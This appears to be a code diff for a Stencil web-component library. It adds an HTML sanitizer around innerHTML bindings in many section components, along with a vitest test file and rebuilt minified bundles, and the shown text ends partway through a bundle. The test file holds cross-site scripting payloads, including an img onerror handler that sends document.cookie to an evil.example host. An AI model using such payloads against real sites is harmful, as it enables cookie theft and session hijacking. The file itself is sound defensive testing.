return (h("div", { class: "forja-portfolio__education" }, h("h3", { class: "forja-portfolio__group-title" }, "Education"), h("ol", { class: "forja-portfolio__list" }, this.education.map(edu => (h("li", { class: "forja-portfolio__entry" }, h("article", { class: "forja-portfolio__card" }, h("div", { class: "forja-portfolio__details" }, h("h4", { class: "forja-portfolio__role" }, edu.degree), h("p", { class: "forja-portfolio__company" }, edu.institution), edu.period && h("time", { class: "forja-portfolio__period" }, edu.period), edu.description && (h("div", { class: "forja-portfolio__description", innerHTML: edu.description }))))))))));
|
|
13
|
+
return (h("div", { class: "forja-portfolio__education" }, h("h3", { class: "forja-portfolio__group-title" }, "Education"), h("ol", { class: "forja-portfolio__list" }, this.education.map(edu => (h("li", { class: "forja-portfolio__entry" }, h("article", { class: "forja-portfolio__card" }, h("div", { class: "forja-portfolio__details" }, h("h4", { class: "forja-portfolio__role" }, edu.degree), h("p", { class: "forja-portfolio__company" }, edu.institution), edu.period && h("time", { class: "forja-portfolio__period" }, edu.period), edu.description && (h("div", { class: "forja-portfolio__description", innerHTML: sanitizeHtml(edu.description) }))))))))));
|
|
13
14
|
}
|
|
14
15
|
renderSkills() {
|
|
15
16
|
if (!this.skills || this.skills.length === 0)
|
|
@@ -24,7 +25,7 @@ export class ForjaPortfolio {
|
|
|
24
25
|
return (h("div", { class: "forja-portfolio__skills" }, h("h3", { class: "forja-portfolio__group-title" }, "Skills"), Object.entries(grouped).map(([category, items]) => (h("div", { class: "forja-portfolio__skill-group" }, Object.keys(grouped).length > 1 && (h("h4", { class: "forja-portfolio__skill-category" }, category)), h("ul", { class: "forja-portfolio__skill-list", "data-columns": this.columns }, items.map(skill => (h("li", { class: "forja-portfolio__skill" }, skill.name)))))))));
|
|
25
26
|
}
|
|
26
27
|
render() {
|
|
27
|
-
return (h("section", { key: '
|
|
28
|
+
return (h("section", { key: '63f3b34c130f4a095b33d171af54368df52e29bf', class: "forja-portfolio", "aria-label": sectionLabel(this.sectionTitle, 'Portfolio') }, h("slot", { key: '00bdd66a9c499f502140368cf561f8814487b3b6', name: "before" }), this.sectionTitle && h("h2", { key: '5c9612c2fac3865df9de34f085d0c29b80c4d644', class: "forja-portfolio__title" }, this.sectionTitle), this.text && h("div", { key: '8c1fa3dbf2297ffcaea0ca2262617d2a484e0cb5', class: "forja-portfolio__text", innerHTML: sanitizeHtml(this.text) }), this.renderExperiences(), this.renderEducation(), this.renderSkills(), h("slot", { key: 'fb754d6ce902396f664d99b7493937e0eb122a93', name: "after" })));
|
|
28
29
|
}
|
|
29
30
|
static get is() { return "forja-portfolio"; }
|
|
30
31
|
static get properties() {
|
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaPricing {
|
|
4
5
|
render() {
|
|
5
6
|
const hasTiers = this.tiers && this.tiers.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: '0fa9667baca6787cb1582a4a1bf02ea75ebc5c03', class: "forja-pricing", "aria-label": sectionLabel(this.sectionTitle, 'Pricing') }, h("slot", { key: 'acb3184a17e40f128bb4173023fe94b0e909f96f', name: "before" }), (this.sectionTitle || this.text) && (h("div", { key: 'e8933bfc5fc73375546d36b75fa6b4b33876da00', class: "forja-pricing__header" }, this.sectionTitle && h("h2", { key: '8c91a9833c83e0bbb025a75e4b0143becf7f6b99', class: "forja-pricing__title" }, this.sectionTitle), this.text && h("div", { key: '1fb8805e9555f246cc0d12d74f73c549c2f7c377', class: "forja-pricing__text", innerHTML: sanitizeHtml(this.text) }))), hasTiers ? (h("div", { class: "forja-pricing__tiers", role: "list", "data-columns": this.columns }, this.tiers.map(tier => (h("div", { class: `forja-pricing__tier${tier.highlighted ? ' forja-pricing__tier--highlighted' : ''}`, role: "listitem" }, h("h3", { class: "forja-pricing__tier-name" }, tier.name), h("div", { class: "forja-pricing__price" }, h("span", { class: "forja-pricing__amount" }, tier.price), tier.period && h("span", { class: "forja-pricing__period" }, tier.period)), tier.description && h("p", { class: "forja-pricing__description" }, tier.description), tier.features && tier.features.length > 0 && (h("ul", { class: "forja-pricing__features" }, tier.features.map(feature => (h("li", { class: "forja-pricing__feature" }, feature))))), tier.buttonText && tier.buttonHref && (h("a", { href: tier.buttonHref, class: "forja-pricing__cta" }, tier.buttonText))))))) : (h("div", { class: "forja-pricing__tiers", role: "list", "data-columns": this.columns }, h("slot", null))), h("slot", { key: 'c8d3a75d234e7bf5eafbf540f31d24bcf412ee6c', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-pricing"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaProjects {
|
|
4
5
|
render() {
|
|
5
6
|
const hasItems = this.items && this.items.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: '119d627bafc46c00ba92d2cf15e45f9a21d58a75', class: "forja-projects", "aria-label": sectionLabel(this.sectionTitle, 'Projects') }, h("slot", { key: '169d7ff003c11cd6f8f19a95103becb8ac3c8059', name: "before" }), this.sectionTitle && h("h2", { key: '586f008cae7843cdbaf25b35c2471d4b78f67fc4', class: "forja-projects__title" }, this.sectionTitle), this.text && h("div", { key: '3d1a2e7c20609d6abafcc11150dc788edaf51a8d', class: "forja-projects__text", innerHTML: sanitizeHtml(this.text) }), hasItems ? (h("div", { class: "forja-projects__grid", role: "list", "data-columns": this.columns }, this.items.map(item => (h("article", { class: "forja-projects__card", role: "listitem" }, item.imageUrl && (h("img", { src: item.imageUrl, alt: "", class: "forja-projects__image", loading: "lazy" })), h("div", { class: "forja-projects__content" }, h("div", { class: "forja-projects__header" }, h("h3", { class: "forja-projects__name" }, item.href ? (h("a", { href: item.href, class: "forja-projects__link" }, item.title)) : (item.title)), item.status && (h("span", { class: "forja-projects__status" }, item.status))), item.description && (h("div", { class: "forja-projects__description", innerHTML: sanitizeHtml(item.description) })), item.tags && item.tags.length > 0 && (h("ul", { class: "forja-projects__tags" }, item.tags.map(tag => (h("li", { class: "forja-projects__tag" }, tag))))))))))) : (h("slot", null)), h("slot", { key: 'ff07a71746a1db326a13cbb2c3c83017e3b56b81', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-projects"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
const TAG_MAP = {
|
|
3
4
|
Hero: 'forja-hero',
|
|
4
5
|
Features: 'forja-features',
|
|
@@ -26,7 +27,7 @@ export class ForjaSectionRenderer {
|
|
|
26
27
|
render() {
|
|
27
28
|
const tag = TAG_MAP[this.sectionType];
|
|
28
29
|
if (!tag) {
|
|
29
|
-
return (h("section", { class: "forja-custom" }, this.sectionTitle && h("h2", { class: "forja-custom__title" }, this.sectionTitle), this.text && h("div", { class: "forja-custom__text", innerHTML: this.text }), h("slot", null)));
|
|
30
|
+
return (h("section", { class: "forja-custom" }, this.sectionTitle && h("h2", { class: "forja-custom__title" }, this.sectionTitle), this.text && h("div", { class: "forja-custom__text", innerHTML: sanitizeHtml(this.text) }), h("slot", null)));
|
|
30
31
|
}
|
|
31
32
|
const Tag = tag;
|
|
32
33
|
return (h(Tag, { sectionTitle: this.sectionTitle, text: this.text, imageUrl: this.imageUrl, imageAlt: this.imageAlt, buttonText: this.buttonText, buttonHref: this.buttonHref, items: this.items }, h("slot", null)));
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaStats {
|
|
4
5
|
render() {
|
|
@@ -7,7 +8,7 @@ export class ForjaStats {
|
|
|
7
8
|
'forja-stats',
|
|
8
9
|
this.statsStyle && `forja-stats--${this.statsStyle}`,
|
|
9
10
|
].filter(Boolean).join(' ');
|
|
10
|
-
return (h("section", { key: '
|
|
11
|
+
return (h("section", { key: '16d26cffee661393f90a1195ff57c4b30c66bc15', class: classes, "aria-label": sectionLabel(this.sectionTitle, 'Statistics') }, h("slot", { key: '51e46f4d758f9342bfe2aed682b8a4ff1f1e269d', name: "before" }), this.sectionTitle && h("h2", { key: '2e1be227a21fd525516d900243160a1a27717dbe', class: "forja-stats__title" }, this.sectionTitle), this.text && h("div", { key: 'dd85a0cd774a9414279ed3fe9a08596ad87e9deb', class: "forja-stats__text", innerHTML: sanitizeHtml(this.text) }), hasItems ? (h("dl", { class: "forja-stats__list", "data-columns": this.columns }, this.items.map(item => (h("div", { class: "forja-stats__item" }, h("dd", { class: "forja-stats__value" }, item.value), h("dt", { class: "forja-stats__label" }, item.label)))))) : (h("slot", null)), h("slot", { key: '06f60fda6b1fcd094c5c8884590166fe596bd6ad', name: "after" })));
|
|
11
12
|
}
|
|
12
13
|
static get is() { return "forja-stats"; }
|
|
13
14
|
static get properties() {
|
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaTagCloud {
|
|
4
5
|
render() {
|
|
5
6
|
const hasTags = this.tags && this.tags.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: '30388284d5f25b7cc10c074bf710b4a375ef57b1', class: "forja-tag-cloud", "aria-label": sectionLabel(this.sectionTitle, 'Tags') }, h("slot", { key: '492399e2cb8e3b0da1324d205d7a66fff097e9ba', name: "before" }), this.sectionTitle && h("h2", { key: 'e3797744d9a6d6d1775fb10190a439d2c45e633f', class: "forja-tag-cloud__title" }, this.sectionTitle), this.text && h("div", { key: 'f21a62fb8fa9711116eb7aad508f6d685b245f6e', class: "forja-tag-cloud__text", innerHTML: sanitizeHtml(this.text) }), hasTags ? (h("nav", { class: "forja-tag-cloud__nav", "aria-label": "Tags" }, h("ul", { class: "forja-tag-cloud__list", role: "list" }, this.tags.map(tag => (h("li", { class: "forja-tag-cloud__item" }, tag.href ? (h("a", { href: tag.href, class: "forja-tag-cloud__tag" }, h("span", { class: "forja-tag-cloud__label" }, tag.label), tag.count != null && (h("span", { class: "forja-tag-cloud__count", "aria-label": `${tag.count} items` }, "(", tag.count, ")")))) : (h("span", { class: "forja-tag-cloud__tag" }, h("span", { class: "forja-tag-cloud__label" }, tag.label), tag.count != null && (h("span", { class: "forja-tag-cloud__count", "aria-label": `${tag.count} items` }, "(", tag.count, ")")))))))))) : (h("slot", null)), h("slot", { key: '98f74d72091ce7a6cf83ace8cbef942ae79dd7e8', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-tag-cloud"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaTeam {
|
|
4
5
|
constructor() {
|
|
@@ -7,7 +8,7 @@ export class ForjaTeam {
|
|
|
7
8
|
}
|
|
8
9
|
render() {
|
|
9
10
|
const hasMembers = this.members && this.members.length > 0;
|
|
10
|
-
return (h("section", { key: '
|
|
11
|
+
return (h("section", { key: 'ea2d15e45c674d472ec5a15898e96c3594e94339', class: "forja-team", "aria-label": sectionLabel(this.sectionTitle, 'Team') }, h("slot", { key: 'f383085ab54f1bfc96163725468c2fd23f78ccd1', name: "before" }), this.sectionTitle && h("h2", { key: 'ce535389de00e3c85eda72f45aac8122eaf0e315', class: "forja-team__title" }, this.sectionTitle), this.text && h("div", { key: '092692887fcae1f16af695f0aa576079ee0fab22', class: "forja-team__text", innerHTML: sanitizeHtml(this.text) }), hasMembers ? (h("ul", { class: "forja-team__grid", role: "list", "data-columns": this.columns }, this.members.map(member => (h("li", { class: "forja-team__member" }, member.imageUrl && (h("figure", { class: "forja-team__photo" }, h("img", { src: member.imageUrl, alt: member.name, class: "forja-team__image", loading: "lazy" }))), h("h3", { class: "forja-team__name" }, member.name), this.showRole && member.role && h("p", { class: "forja-team__role" }, member.role), this.showBio && member.bio && h("p", { class: "forja-team__bio" }, member.bio)))))) : (h("slot", null)), h("slot", { key: '345b8cb5ba4322d9a39b087fa5b7a3647c9f8b3e', name: "after" })));
|
|
11
12
|
}
|
|
12
13
|
static get is() { return "forja-team"; }
|
|
13
14
|
static get properties() {
|
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaTestimonials {
|
|
4
5
|
render() {
|
|
5
6
|
const hasItems = this.items && this.items.length > 0;
|
|
6
|
-
return (h("section", { key: '
|
|
7
|
+
return (h("section", { key: '4cd7db1d63d4841f6907c1d4b765cdf873993ed0', class: "forja-testimonials", "aria-label": sectionLabel(this.sectionTitle, 'Testimonials') }, h("slot", { key: '52906ccd7177f318637f84ea3a00950e5ed05cc0', name: "before" }), this.sectionTitle && h("h2", { key: 'bdab4a7059ec36ff2451472dac1a3255d5064a1a', class: "forja-testimonials__title" }, this.sectionTitle), this.text && h("div", { key: '26408ec662085ace7ef3d57569750829163f006d', class: "forja-testimonials__text", innerHTML: sanitizeHtml(this.text) }), hasItems ? (h("div", { class: "forja-testimonials__list", role: "list", "data-columns": this.columns }, this.items.map(item => (h("blockquote", { class: "forja-testimonials__item", role: "listitem" }, h("p", { class: "forja-testimonials__quote" }, item.quote), h("footer", { class: "forja-testimonials__attribution" }, item.avatarUrl && (h("img", { src: item.avatarUrl, alt: "", class: "forja-testimonials__avatar", loading: "lazy" })), h("cite", { class: "forja-testimonials__author" }, h("span", { class: "forja-testimonials__name" }, item.author), item.role && h("span", { class: "forja-testimonials__role" }, item.role)))))))) : (h("div", { class: "forja-testimonials__list", role: "list", "data-columns": this.columns }, h("slot", null))), h("slot", { key: '871d917e08a3c7e375d9bcab16265e891ec1c1ce', name: "after" })));
|
|
7
8
|
}
|
|
8
9
|
static get is() { return "forja-testimonials"; }
|
|
9
10
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaTextBlock {
|
|
4
5
|
constructor() {
|
|
@@ -11,7 +12,7 @@ export class ForjaTextBlock {
|
|
|
11
12
|
`forja-text--${this.width}`,
|
|
12
13
|
`forja-text--${this.alignment}`,
|
|
13
14
|
].join(' ');
|
|
14
|
-
return (h("section", { key: '
|
|
15
|
+
return (h("section", { key: 'acd5fa21ff60f2d9cb58b47f5f315232fe911ded', class: classes, "aria-label": sectionLabel(this.sectionTitle, 'Content') }, h("slot", { key: '23f5c5889e2c7c2f715fb4692d535381992593b5', name: "before" }), this.sectionTitle && h("h2", { key: '400dee8b59d1e7225829a6b3343c25ebdc254748', class: "forja-text__title" }, this.sectionTitle), this.text ? (h("div", { class: "forja-text__content", innerHTML: sanitizeHtml(this.text) })) : (h("div", { class: "forja-text__content" }, h("slot", null))), h("slot", { key: '053bd1a5cf2325211486a40e98c4c4878372a85e', name: "after" })));
|
|
15
16
|
}
|
|
16
17
|
static get is() { return "forja-text-block"; }
|
|
17
18
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaTimeline {
|
|
4
5
|
constructor() {
|
|
@@ -8,7 +9,7 @@ export class ForjaTimeline {
|
|
|
8
9
|
render() {
|
|
9
10
|
const hasEvents = this.events && this.events.length > 0;
|
|
10
11
|
const classes = ['forja-timeline', `forja-timeline--${this.layout}`].join(' ');
|
|
11
|
-
return (h("section", { key: '
|
|
12
|
+
return (h("section", { key: '66d51cf72ef9810181e94598c5548ce030f38000', class: classes, "aria-label": sectionLabel(this.sectionTitle, 'Timeline') }, h("slot", { key: '4ab32a6ed128de236776736bf6827ec5c4cb3e81', name: "before" }), this.sectionTitle && h("h2", { key: 'dadfa8106adbeb8d8e9235d85fa1fd09b43e6403', class: "forja-timeline__title" }, this.sectionTitle), this.text && h("div", { key: '44e8678d051475a3d0bfd2cb74914920dd8a87d2', class: "forja-timeline__text", innerHTML: sanitizeHtml(this.text) }), hasEvents ? (h("ol", { class: "forja-timeline__list" }, this.events.map(event => (h("li", { class: "forja-timeline__item" }, this.showDates && event.date && (h("time", { class: "forja-timeline__date" }, event.date)), h("h3", { class: "forja-timeline__event-title" }, event.title), event.text && h("div", { class: "forja-timeline__event-text", innerHTML: sanitizeHtml(event.text) })))))) : (h("slot", null)), h("slot", { key: '60c0f3db4c8d00bfa49199058822eaf83fecbc4c', name: "after" })));
|
|
12
13
|
}
|
|
13
14
|
static get is() { return "forja-timeline"; }
|
|
14
15
|
static get properties() {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { h } from "@stencil/core";
|
|
2
|
+
import { sanitizeHtml } from "../../utils/sanitize";
|
|
2
3
|
import { sectionLabel } from "../../utils/a11y";
|
|
3
4
|
export class ForjaVideo {
|
|
4
5
|
constructor() {
|
|
@@ -19,7 +20,7 @@ export class ForjaVideo {
|
|
|
19
20
|
}
|
|
20
21
|
render() {
|
|
21
22
|
const classes = ['forja-video', this.getAspectClass()].join(' ');
|
|
22
|
-
return (h("section", { key: '
|
|
23
|
+
return (h("section", { key: '92b7b2eeb9dbd52e247a7d70107ffbf693ffaf0f', class: classes, "aria-label": sectionLabel(this.sectionTitle, 'Video') }, h("slot", { key: 'c68fc47e18569abfb4443f8d651669c0e31d8dba', name: "before" }), this.sectionTitle && h("h2", { key: '1120b255666256f2ca82c4c6c18317c917a3a7ec', class: "forja-video__title" }, this.sectionTitle), this.text && h("div", { key: 'fe22b0b6e8c3da99bff6294214d00237067b656b', class: "forja-video__text", innerHTML: sanitizeHtml(this.text) }), this.videoUrl && (h("figure", { key: 'a58dc5b318f4f8d2a9192d1ccf19dda4af485e8a', class: "forja-video__container" }, this.isSelfHosted() ? (h("video", { class: "forja-video__player", src: this.videoUrl, controls: true, autoplay: this.autoplay }, h("track", { kind: "captions" }))) : (h("iframe", { class: "forja-video__embed", src: this.autoplay ? `${this.videoUrl}?autoplay=1` : this.videoUrl, title: this.sectionTitle || 'Embedded video', allowFullScreen: true, loading: "lazy" })))), h("slot", { key: '58adbc175cda23db8067b3bc61ac93aa1cf4b77f', name: "after" })));
|
|
23
24
|
}
|
|
24
25
|
static get is() { return "forja-video"; }
|
|
25
26
|
static get properties() {
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
import sanitizeHtmlLib from "sanitize-html";
|
|
2
|
+
/**
|
|
3
|
+
* Allowlist mirrored from `templates/astro-blog/src/lib/markdown.ts` so the
|
|
4
|
+
* shipped components are safe-by-default rather than relying on every consumer
|
|
5
|
+
* to sanitize the pre-rendered HTML they bind to section props.
|
|
6
|
+
*/
|
|
7
|
+
const SANITIZE_CONFIG = {
|
|
8
|
+
allowedTags: [...sanitizeHtmlLib.defaults.allowedTags, 'img', 'figure', 'figcaption'],
|
|
9
|
+
allowedAttributes: Object.assign(Object.assign({}, sanitizeHtmlLib.defaults.allowedAttributes), { img: ['src', 'alt', 'title', 'width', 'height', 'loading'], a: ['href', 'title', 'name', 'target', 'rel'], code: ['class'], span: ['class'], div: ['class'] }),
|
|
10
|
+
allowedSchemes: ['http', 'https', 'mailto'],
|
|
11
|
+
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
|
|
12
|
+
allowProtocolRelative: false,
|
|
13
|
+
// Defense-in-depth for GHSA-rpr9-rxv7-x643: pin the discard-contents list so
|
|
14
|
+
// raw-text elements (xmp, textarea, etc.) can never smuggle live markup back
|
|
15
|
+
// into output, even if the upstream default regresses.
|
|
16
|
+
nonTextTags: ['script', 'style', 'textarea', 'option', 'xmp'],
|
|
17
|
+
};
|
|
18
|
+
/**
|
|
19
|
+
* Sanitize pre-rendered HTML before it is written to the DOM via `innerHTML`.
|
|
20
|
+
* Strips scripts, event handlers, and dangerous URL schemes while preserving
|
|
21
|
+
* benign rich text (headings, lists, links, images). Returns `''` for falsy
|
|
22
|
+
* input.
|
|
23
|
+
*/
|
|
24
|
+
export function sanitizeHtml(html) {
|
|
25
|
+
if (!html)
|
|
26
|
+
return '';
|
|
27
|
+
return sanitizeHtmlLib(html, SANITIZE_CONFIG);
|
|
28
|
+
}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { sanitizeHtml } from "./sanitize";
|
|
3
|
+
describe('sanitizeHtml', () => {
|
|
4
|
+
it('strips <script> payloads', () => {
|
|
5
|
+
const out = sanitizeHtml('<p>hi</p><script>fetch("https://evil.example")</script>');
|
|
6
|
+
expect(out).toContain('<p>hi</p>');
|
|
7
|
+
expect(out).not.toContain('<script');
|
|
8
|
+
expect(out).not.toContain('fetch(');
|
|
9
|
+
});
|
|
10
|
+
it('strips event-handler attributes (img onerror)', () => {
|
|
11
|
+
const out = sanitizeHtml('<img src=x onerror="fetch(\'https://evil.example/c?\'+document.cookie)">');
|
|
12
|
+
expect(out).not.toContain('onerror');
|
|
13
|
+
expect(out).not.toContain('document.cookie');
|
|
14
|
+
});
|
|
15
|
+
it('neutralizes javascript: hrefs', () => {
|
|
16
|
+
const out = sanitizeHtml('<a href="javascript:alert(1)">click</a>');
|
|
17
|
+
expect(out).not.toContain('javascript:');
|
|
18
|
+
});
|
|
19
|
+
it('strips SVG onload payloads', () => {
|
|
20
|
+
const out = sanitizeHtml('<svg onload="alert(1)"></svg>');
|
|
21
|
+
expect(out).not.toContain('onload');
|
|
22
|
+
expect(out).not.toContain('<svg');
|
|
23
|
+
});
|
|
24
|
+
it('preserves benign rich text', () => {
|
|
25
|
+
const input = '<p><strong>bold</strong> and <a href="https://example.com">a link</a></p><ul><li>one</li></ul>';
|
|
26
|
+
const out = sanitizeHtml(input);
|
|
27
|
+
expect(out).toContain('<strong>bold</strong>');
|
|
28
|
+
expect(out).toContain('href="https://example.com"');
|
|
29
|
+
expect(out).toContain('<li>one</li>');
|
|
30
|
+
});
|
|
31
|
+
it('returns empty string for falsy input', () => {
|
|
32
|
+
expect(sanitizeHtml(undefined)).toBe('');
|
|
33
|
+
expect(sanitizeHtml(null)).toBe('');
|
|
34
|
+
expect(sanitizeHtml('')).toBe('');
|
|
35
|
+
});
|
|
36
|
+
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{t as
|
|
1
|
+
import{t as s,p as a,H as t,h as o}from"./p-B8rQMNWH.js";import{s as e}from"./p-D6KWgfCs.js";import{s as l}from"./p-CTbyYfdB.js";const f=a(class extends t{constructor(s){super(),!1!==s&&this.__registerHost()}render(){const s=this.posts&&this.posts.length>0;return o("section",{key:"f388fb05e0b1c9037849aca394546a8eb940a794",class:"forja-blog","aria-label":l(this.sectionTitle,"Blog")},o("slot",{key:"7bb15fe38b974b22104ae1d5091556b403d21cc7",name:"before"}),this.sectionTitle&&o("h2",{key:"13fd9b0730213fd6f0aa066c712a46463ad01760",class:"forja-blog__title"},this.sectionTitle),this.text&&o("div",{key:"4a23d09535b8f501a8effd4eefa095d28916a9f0",class:"forja-blog__text",innerHTML:e(this.text)}),s?o("div",{class:"forja-blog__grid",role:"list","data-columns":this.columns},this.posts.map((s=>o("article",{class:"forja-blog__card",role:"listitem"},s.imageUrl&&o("a",{href:s.href,class:"forja-blog__image-link"},o("img",{src:s.imageUrl,alt:"",class:"forja-blog__image",loading:"lazy"})),o("div",{class:"forja-blog__content"},(s.date||s.author)&&o("div",{class:"forja-blog__meta"},s.date&&o("time",{class:"forja-blog__date"},s.date),s.author&&o("span",{class:"forja-blog__author"},s.author)),o("h3",{class:"forja-blog__post-title"},s.href?o("a",{href:s.href,class:"forja-blog__link"},s.title):s.title),s.excerpt&&o("div",{class:"forja-blog__excerpt",innerHTML:e(s.excerpt)})))))):o("slot",null),this.buttonText&&this.buttonHref&&o("div",{key:"8e47b739a0df71b9c7c3406ee7bf69d4f800456e",class:"forja-blog__footer"},o("a",{key:"cee686f2bd640afead6071fc2ba1c02769eb8ef0",href:this.buttonHref,class:"forja-blog__cta"},this.buttonText)),o("slot",{key:"24d9babac7a30a58d04d211e6240c227dcd77180",name:"after"}))}},[260,"forja-blog",{sectionTitle:[1,"section-title"],text:[1],posts:[16],columns:[2],buttonText:[1,"button-text"],buttonHref:[1,"button-href"]}]);function r(){"undefined"!=typeof customElements&&["forja-blog"].forEach((a=>{"forja-blog"===a&&(customElements.get(s(a))||customElements.define(s(a),f))}))}r();const c=f,i=r;export{c as ForjaBlog,i as defineCustomElement}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{t,p as
|
|
1
|
+
import{t,p as e,H as a,c as o,h as c}from"./p-B8rQMNWH.js";import{s}from"./p-D6KWgfCs.js";import{a as r,s as i}from"./p-CTbyYfdB.js";import{a as n,r as f}from"./p-B8qlvoCH.js";const l=e(class extends a{constructor(t){super(),!1!==t&&this.__registerHost(),this.forjaSubmit=o(this,"forjaSubmit"),this.botProtection="none",this.botProtectionUnsolved=!1,this.handleSubmit=t=>{t.preventDefault();const e=t.target;!this.requiresAltcha||n(e)?(this.botProtectionUnsolved=!1,this.forjaSubmit.emit(new FormData(e))):this.botProtectionUnsolved=!0}}get requiresAltcha(){return"mandatory"===this.botProtection}render(){const t=this.fields&&this.fields.length>0;return c("section",{key:"c8af0ffcd913695e8dfff36728de8e2ee434b488",class:"forja-contact","aria-label":i(this.sectionTitle,"Contact")},c("slot",{key:"a7df7905ee96ce02cbda43852c8e509905bdde56",name:"before"}),c("div",{key:"fa967a307c4fc804e2e944d9c4e16131847ca9ef",class:"forja-contact__content"},this.sectionTitle&&c("h2",{key:"a4e51561fdd766ec7e8d63340cc9f6b88258fcfb",class:"forja-contact__title"},this.sectionTitle),this.text&&c("div",{key:"1845015fab28082323d875cb26c4b27b69df52df",class:"forja-contact__text",innerHTML:s(this.text)}),this.buttonText&&this.buttonHref&&c("a",{key:"232643b2eb3e313550c31b1da06b7e5f9b714397",href:this.buttonHref,class:"forja-contact__cta"},this.buttonText)),t?c("form",{class:"forja-contact__form",action:this.formAction,method:this.formAction?"post":void 0,onSubmit:this.handleSubmit},this.fields.map((t=>{const e=r(t.name,"contact");return c("div",{class:"forja-contact__field"},c("label",{class:"forja-contact__label",htmlFor:e},t.label,t.required&&c("span",{"aria-hidden":"true"}," *")),"textarea"===t.type?c("textarea",{id:e,name:t.name,class:"forja-contact__input forja-contact__input--textarea",required:t.required,"aria-required":t.required?"true":void 0,placeholder:t.placeholder}):c("input",{id:e,name:t.name,type:t.type,class:"forja-contact__input",required:t.required,"aria-required":t.required?"true":void 0,placeholder:t.placeholder}))})),this.requiresAltcha&&f(this.altchaChallengeUrl,"forja-contact-altcha"),this.botProtectionUnsolved&&c("p",{class:"forja-contact__error",role:"alert","data-testid":"forja-contact-altcha-error"},"Please complete the verification before submitting."),c("button",{type:"submit",class:"forja-contact__submit"},this.buttonText||"Send")):c("slot",null),c("slot",{key:"b520fe377f4bfbb9f4e47febb064f6e0d5f67f76",name:"after"}))}},[260,"forja-contact",{sectionTitle:[1,"section-title"],text:[1],buttonText:[1,"button-text"],buttonHref:[1,"button-href"],fields:[16],formAction:[1,"form-action"],botProtection:[1,"bot-protection"],altchaChallengeUrl:[1,"altcha-challenge-url"],botProtectionUnsolved:[32]}]);function h(){"undefined"!=typeof customElements&&["forja-contact"].forEach((e=>{"forja-contact"===e&&(customElements.get(t(e))||customElements.define(t(e),l))}))}h();const d=l,b=h;export{d as ForjaContact,b as defineCustomElement}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{t,p as
|
|
1
|
+
import{t,p as e,H as a,h as s}from"./p-B8rQMNWH.js";import{s as c}from"./p-D6KWgfCs.js";import{s as f}from"./p-CTbyYfdB.js";const o=e(class extends a{constructor(t){super(),!1!==t&&this.__registerHost()}render(){return s("section",{key:"bcc9c947f7925c74a917e51c9a01b3e1e28630d2",class:"forja-cta","aria-label":f(this.sectionTitle,"Call to 